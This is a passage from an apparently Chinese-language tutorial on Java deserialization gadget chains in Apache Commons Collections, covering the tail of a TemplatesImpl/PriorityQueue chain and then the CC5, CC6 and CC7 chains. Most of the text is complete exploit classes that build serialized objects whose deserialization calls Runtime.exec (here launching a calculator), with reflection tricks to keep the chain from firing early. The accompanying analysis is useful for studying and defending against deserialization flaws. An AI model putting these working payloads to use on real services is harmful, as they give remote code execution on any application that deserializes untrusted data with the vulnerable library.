            nameField.setAccessible(true);  
            nameField.set(templates,"Drunkbaby");  
      
            Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");  
            bytecodesField.setAccessible(true);  
            byte[] evil = Files.readAllBytes(Paths.get("./target/classes/Calc.class"));  
            byte[][] codes = {evil};  
            bytecodesField.set(templates,codes);  
      
            Field tfactoryField = templatesClass.getDeclaredField("_tfactory");  
            tfactoryField.setAccessible(true);  
            tfactoryField.set(templates, new TransformerFactoryImpl());  
            InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});  
            Transformer[] transformers = new Transformer[]{  
                    new ConstantTransformer(TrAXFilter.class), // 构造 setValue 的可控参数  
                    instantiateTransformer  
            };  
            ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  
            //  instantiateTransformer.transform(TrAXFilter.class);  
            TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);  
            PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);  
            priorityQueue.add(1);  
            priorityQueue.add(2);  
      
            serialize(priorityQueue);  
            unserialize("ser.bin");  
        }  
        public static void serialize(Object obj) throws IOException {  
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));  
            oos.writeObject(obj);  
        }  
        public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{  
            ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));  
            Object obj = ois.readObject();  
            return obj;  
        }  
    }

    可以弹计算器,但是会报错。add 方法:

    和 CC6 一样,构造时会触发利用链。先把 transformingComparator 设为无关值,构造完再反射修改

    EXP

    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
    import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;  
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
    import org.apache.commons.collections4.Transformer;  
    import org.apache.commons.collections4.comparators.TransformingComparator;  
    import org.apache.commons.collections4.functors.ChainedTransformer;  
    import org.apache.commons.collections4.functors.ConstantTransformer;  
    import org.apache.commons.collections4.functors.InstantiateTransformer;  
      
    import javax.xml.transform.Templates;  
    import java.io.*;  
    import java.lang.reflect.Field;  
    import java.nio.file.Files;  
    import java.nio.file.Paths;  
    import java.util.PriorityQueue;  
      
    public class Test {  
        public static void main(String[] args) throws Exception{  
            TemplatesImpl templates = new TemplatesImpl();  
            Class templatesClass = templates.getClass();  
            Field nameField = templatesClass.getDeclaredField("_name");  
            nameField.setAccessible(true);  
            nameField.set(templates,"Drunkbaby");  
      
            Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");  
            bytecodesField.setAccessible(true);  
            byte[] evil = Files.readAllBytes(Paths.get("./target/classes/Calc.class"));  
            byte[][] codes = {evil};  
            bytecodesField.set(templates,codes);  
      
            Field tfactoryField = templatesClass.getDeclaredField("_tfactory");  
            tfactoryField.setAccessible(true);  
            tfactoryField.set(templates, new TransformerFactoryImpl());  
            InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});  
            Transformer[] transformers = new Transformer[]{  
                    new ConstantTransformer(TrAXFilter.class), // 构造 setValue 的可控参数  
                    instantiateTransformer  
            };  
            ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  
            //  instantiateTransformer.transform(TrAXFilter.class);  
            TransformingComparator transformingComparator = new TransformingComparator<>(new ChainedTransformer());  
            PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);  
            priorityQueue.add(1);  
            priorityQueue.add(2);  
      
            Class c = transformingComparator.getClass();  
            Field transformersField = c.getDeclaredField("transformer");  
            transformersField.setAccessible(true);  
            transformersField.set(transformingComparator, chainedTransformer);  
      
            serialize(priorityQueue);  
            unserialize("ser.bin");  
        }  
        public static void serialize(Object obj) throws IOException {  
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));  
            oos.writeObject(obj);  
        }  
        public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{  
            ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));  
            Object obj = ois.readObject();  
            return obj;  
        }  
    }

    CC5

    是 CC1/CC6 LazyMap get 方法的另一条链子

    环境

    • Commons Collections 3.2.1
    • Java 8u71

    分析

    正向分析,入口类为 BadAttributeValueExpException:

    有 toString 方法的类太多了,所以正向分析,查看 TiedMapEntry 的 toString 方法:

    查看同类的 getValue 方法:

    后面接上 LazyMap get 即可。

    利用

    TiedMapEntry 有 public 构造函数,直接传入 LazyMap

    BadAttributeValueExpException 构造函数为 public,new 完之后反射修改 val 即可

    EXP

    import org.apache.commons.collections.Transformer;  
    import org.apache.commons.collections.functors.ChainedTransformer;  
    import org.apache.commons.collections.functors.ConstantTransformer;  
    import org.apache.commons.collections.functors.InvokerTransformer;  
    import org.apache.commons.collections.keyvalue.TiedMapEntry;  
    import org.apache.commons.collections.map.LazyMap;  
      
    import javax.management.BadAttributeValueExpException;  
    import java.io.*;  
    import java.lang.reflect.Field;  
    import java.util.HashMap;  
    import java.util.Map;  
      
      
    public class CC5 {  
        public static void main(String[] args) throws Exception{  
            Transformer[] transformers = new Transformer[]{  
                    new ConstantTransformer(Runtime.class), // 控制迭代链条的初始传入对象  
                    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),  
                    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),  
                    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})  
            };  
            ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  
            HashMap<Object, Object> hashMap = new HashMap<>();  
            Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);  
      
            TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");  
            BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);  
            Class c = badAttributeValueExpException.getClass();  
            Field field = c.getDeclaredField("val");  
            field.setAccessible(true);  
            field.set(badAttributeValueExpException, tiedMapEntry);  
      
            serialize(badAttributeValueExpException);  
            unserialize("ser.bin");  
        }  
      
        public static void serialize(Object obj) throws IOException {  
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));  
            oos.writeObject(obj);  
        }  
      
        public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{  
            ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));  
            Object obj = ois.readObject();  
            return obj;  
        }  
    }

    CC6

    环境

    • Commons Collections 3.2.1
    • Java 8u71

    分析链条

    从 LazyMap 开始,LazyMap 到 InvokerTransformer 和 CC1 是一样的,寻找其他调用 get 方法的地方

    TiedMapEntry 类的 getValue 方法调用了 LazyMap 的 get 方法:

    TiedMapEntry 把 Map 里的一个 key-value 对 包装成一个 Map.Entry 对象,并且这个 Entry 始终和原 Map 绑定 若 Map.Entry entry = new TiedMapEntry(map, "a");,则: entry.key = "a" entry.value = map.get("a")

    TiedMapEntry 类的构造函数:

    继续寻找,找到同类下的 hashCode 方法调用了 getValue 方法:

    因为 getValue 这一个方法是相当相当常见的,所以一般会优先找同一类下是否存在调用情况

    构造到 hashCode 方法后,利用链一般都是这一条:

    xxx.readObject() -> HashMap.put() -> HashMap.hash() -> 后续利用链.hashCode()

    这里 HashMap 类就是一个很好的入口类

    构造初步 EXP

    import org.apache.commons.collections.Transformer;  
    import org.apache.commons.collections.functors.ChainedTransformer;  
    import org.apache.commons.collections.functors.ConstantTransformer;  
    import org.apache.commons.collections.functors.InvokerTransformer;  
    import org.apache.commons.collections.keyvalue.TiedMapEntry;  
    import org.apache.commons.collections.map.LazyMap;  
      
    import java.io.*;  
    import java.lang.reflect.Field;  
    import java.util.HashMap;  
    import java.util.Map;  
      
    public class Test {  
        public static void main(String[] args) throws Exception{  
            Transformer[] transformers = new Transformer[]{  
    	        new ConstantTransformer(Runtime.class),  
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), 
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),  
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})  
            };  
            ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  
            HashMap<Object, Object> hashMap = new HashMap<>();  
            Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);  
            TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");  
            HashMap<Object, Object> expMap = new HashMap<>();  
            expMap.put(tiedMapEntry, "value");  
      
            serialize(expMap);  
            unserialize("ser.bin");  
        }  
        public static void serialize(Object obj) throws IOException {  
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));  
            oos.writeObject(obj);  
        }  
        public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{  
            ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));  
            Object obj = ois.readObject();  
            return obj;  
        }  
    }

    但是这个 EXP 在序列化阶段就会调出计算器,因为构造时 expMap.put(tiedMapEntry, "value"); 触发了链条

    解决在序列化时构造链被触发

    可以先在构造 LazyMap 时 factory 参数传入一个无用的东西,等 put 完毕后用反射改回构造好的 ChainedTransformer(factory 作用域为 protected)

    EXP 改成这样:

    import org.apache.commons.collections.Transformer;  
    import org.apache.commons.collections.functors.ChainedTransformer;  
    import org.apache.commons.collections.functors.ConstantTransformer;  
    import org.apache.commons.collections.functors.InvokerTransformer;  
    import org.apache.commons.collections.keyvalue.TiedMapEntry;  
    import org.apache.commons.collections.map.LazyMap;  
      
    import java.io.*;  
    import java.lang.reflect.Field;  
    import java.util.HashMap;  
    import java.util.Map;  
      
      
    public class Answer {  
        public static void main(String[] args) throws Exception{  
            Transformer[] transformers = new Transformer[]{  
                new ConstantTransformer(Runtime.class),  
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),  
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),  
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})  
            };  
            ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  
            HashMap<Object,Object> map = new HashMap<Object,Object>();  
            Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer(1));  
      
            HashMap<Object,Object> map2 = new HashMap<>();  
      
            TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");  
      
            map2.put(tiedMapEntry,"bbb");  
      
            Class c = LazyMap.class;  
            Field fieldfactory = c.getDeclaredField("factory");  
            fieldfactory.setAccessible(true);  
            fieldfactory.set(lazymap,chainedTransformer);  
            serialize(map2);  
            unserialize("ser.bin");  
        }  
      
        public static void serialize(Object obj) throws IOException {  
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));  
            oos.writeObject(obj);  
        }  
      
        public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{  
            ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));  
            Object obj = ois.readObject();  
            return obj;  
        }  
      
    }

    但运行时调不出计算器

    因为 TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa") 时把 aaa key 和 lazymap 绑定,在 map2.put(tiedMapEntry,"bbb") 依然会触发调用链,一直调用到 lazymap.get("aaa")(return map.get(key);)

    而 get 的逻辑为:

    当找不到 key 时,会调用 factory.transform 并且将 (key, value) 加到 map 里。所以 put 触发调用链后 lazymap 内会被添加 aaa key,在反序列化时就不会进入 if 内,所以需要把添加的 key 删除

    EXP

    import org.apache.commons.collections.Transformer;  
    import org.apache.commons.collections.functors.ChainedTransformer;  
    import org.apache.commons.collections.functors.ConstantTransformer;  
    import org.apache.commons.collections.functors.InvokerTransformer;  
    import org.apache.commons.collections.keyvalue.TiedMapEntry;  
    import org.apache.commons.collections.map.LazyMap;  
      
    import java.io.*;  
    import java.lang.reflect.Field;  
    import java.util.HashMap;  
    import java.util.Map;  
      
      
    public class Answer {  
        public static void main(String[] args) throws Exception{  
            Transformer[] transformers = new Transformer[]{  
                new ConstantTransformer(Runtime.class),  
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),  
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),  
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})  
            };  
            ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  
            HashMap<Object,Object> map = new HashMap<Object,Object>();  
            Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer(1)); // factory 先传无关内容
      
            HashMap<Object,Object> map2 = new HashMap<>();  
      
            TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");  
      
            map2.put(tiedMapEntry,"bbb");  
            lazymap.remove("aaa"); // 删除加入的 key
      
            Class c = LazyMap.class;  
            Field fieldfactory = c.getDeclaredField("factory");  
            fieldfactory.setAccessible(true);  
            fieldfactory.set(lazymap,chainedTransformer); // factory 改回来 
            serialize(map2);  
            unserialize("ser.bin");  
      
        }  
      
        public static void serialize(Object obj) throws IOException {  
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));  
            oos.writeObject(obj);  
        }  
      
        public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{  
            ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));  
            Object obj = ois.readObject();  
            return obj;  
        }  
      
    }

    CC7

    也是 LazyMap get 的另一条链子

    环境

    • Commons Collections 3.2.1
    • Java 8u71

    分析

    入口类为 Hashtable:

    反序列化时对于每一个键值对调用 reconstitutionPut 方法:

    LazyMap 的父类为 AbstractMapDecorator,本质也是一个修饰器。在链条后半部分的实现中 LazyMap 修饰的是 HashMap,HashMap 的父类为 AbstractMap,AbstractMap 的 equals 方法实现如下(HashMap 没有 override equals 方法实现):

    发现调用了 equals 方法传入对象的 get 方法

    利用

    首先注意 reconstitutionPut 内的条件:

    equal 在 for 循环内且被可能被前面的 e.hash == hash 条件短路

    观察,Hashtable 反序列化逻辑为对每一个键值对调用 reconstitutionPut,reconstitutionPut 内逻辑为 check hash 冲突并将键值对和 hash 加入 tab 链表

    所以利用需要 Hashtable 有两个键值对且 hash 冲突,构造数据如下:

    Map decorateMap1 = LazyMap.decorate(hashMap1, chainedTransformer);  
    decorateMap1.put("yy", 1);  
    Map decorateMap2 = LazyMap.decorate(hashMap2, chainedTransformer);  
    decorateMap2.put("zZ", 1);
    Hashtable hashtable = new Hashtable();  
    hashtable.put(decorateMap1, 1);  
    hashtable.put(decorateMap2, 1);

    LazyMap.hashCode() 父类 -> AbstractMapDecorator.hashCode() 修饰 -> HashMap.hashCode() 父类 -> AbstractMap.hashCode()

    AbstractMap.hashCode 的逻辑为所有键值对 hash 之和,而刚好 ("yy", 1) 和 ("zZ", 1) 的 hash 一样

    接下来和 CC6 一样的问题,put 时会触发链条,创建 ChainedTransformer 对象时先占位再反射修改:

    ChainedTransformer chainedTransformer = new ChainedTransformer(null);
    ...
    Class c = ChainedTransformer.class;  
    Field field = c.getDeclaredField("iTransformers");  
    field.setAccessible(true);  
    field.set(chainedTransformer, transformers);

    还有一个和 CC6 一样的问题,第二个 decorateMap2 的 put 触发整个链条时 LazyMap 会懒添加 yy key,不删除则反序列化时 if 不过:

    decorateMap2.remove("yy");

    EXP

    import org.apache.commons.collections.Transformer;  
    import org.apache.commons.collections.functors.ChainedTransformer;  
    import org.apache.commons.collections.functors.ConstantTransformer;  
    import org.apache.commons.collections.functors.InvokerTransformer;  
    import org.apache.commons.collections.keyvalue.TiedMapEntry;  
    import org.apache.commons.collections.map.LazyMap;  
      
    import javax.management.BadAttributeValueExpException;  
    import java.io.*;  
    import java.lang.reflect.Field;  
    import java.util.HashMap;  
    import java.util.Hashtable;  
    import java.util.Map;  
      
      
    public class CC7 {  
        public static void main(String[] args) throws Exception{  
            Transformer[] transformers = new Transformer[]{  
                    new ConstantTransformer(Runtime.class), // 控制迭代链条的初始传入对象  
                    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),  
                    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),  
                    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})  
            };  
            ChainedTransformer chainedTransformer = new ChainedTransformer(null);  
            HashMap<Object, Object> hashMap1 = new HashMap<>();  
            HashMap<Object, Object> hashMap2 = new HashMap<>();  
            Map decorateMap1 = LazyMap.decorate(hashMap1, chainedTransformer);  
            decorateMap1.put("yy", 1);  
            Map decorateMap2 = LazyMap.decorate(hashMap2, chainedTransformer);  
            decorateMap2.put("zZ", 1);  
            Hashtable hashtable = new Hashtable();  
            hashtable.put(decorateMap1, 1);  
            hashtable.put(decorateMap2, 1);  
            Class c = ChainedTransformer.class;  
            Field field = c.getDeclaredField("iTransformers");  
            field.setAccessible(true);  
            field.set(chainedTransformer, transformers);  
            decorateMap2.remove("yy");  
      
            serialize(hashtable);  
            unserialize("ser.bin");  
        }  
      
        public static void serialize(Object obj) throws IOException {  
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));  
            oos.writeObject(obj);  
        }  
      
        public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{  
            ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));  
            Object obj = ois.readObject();  
            return obj;  
        }  
    }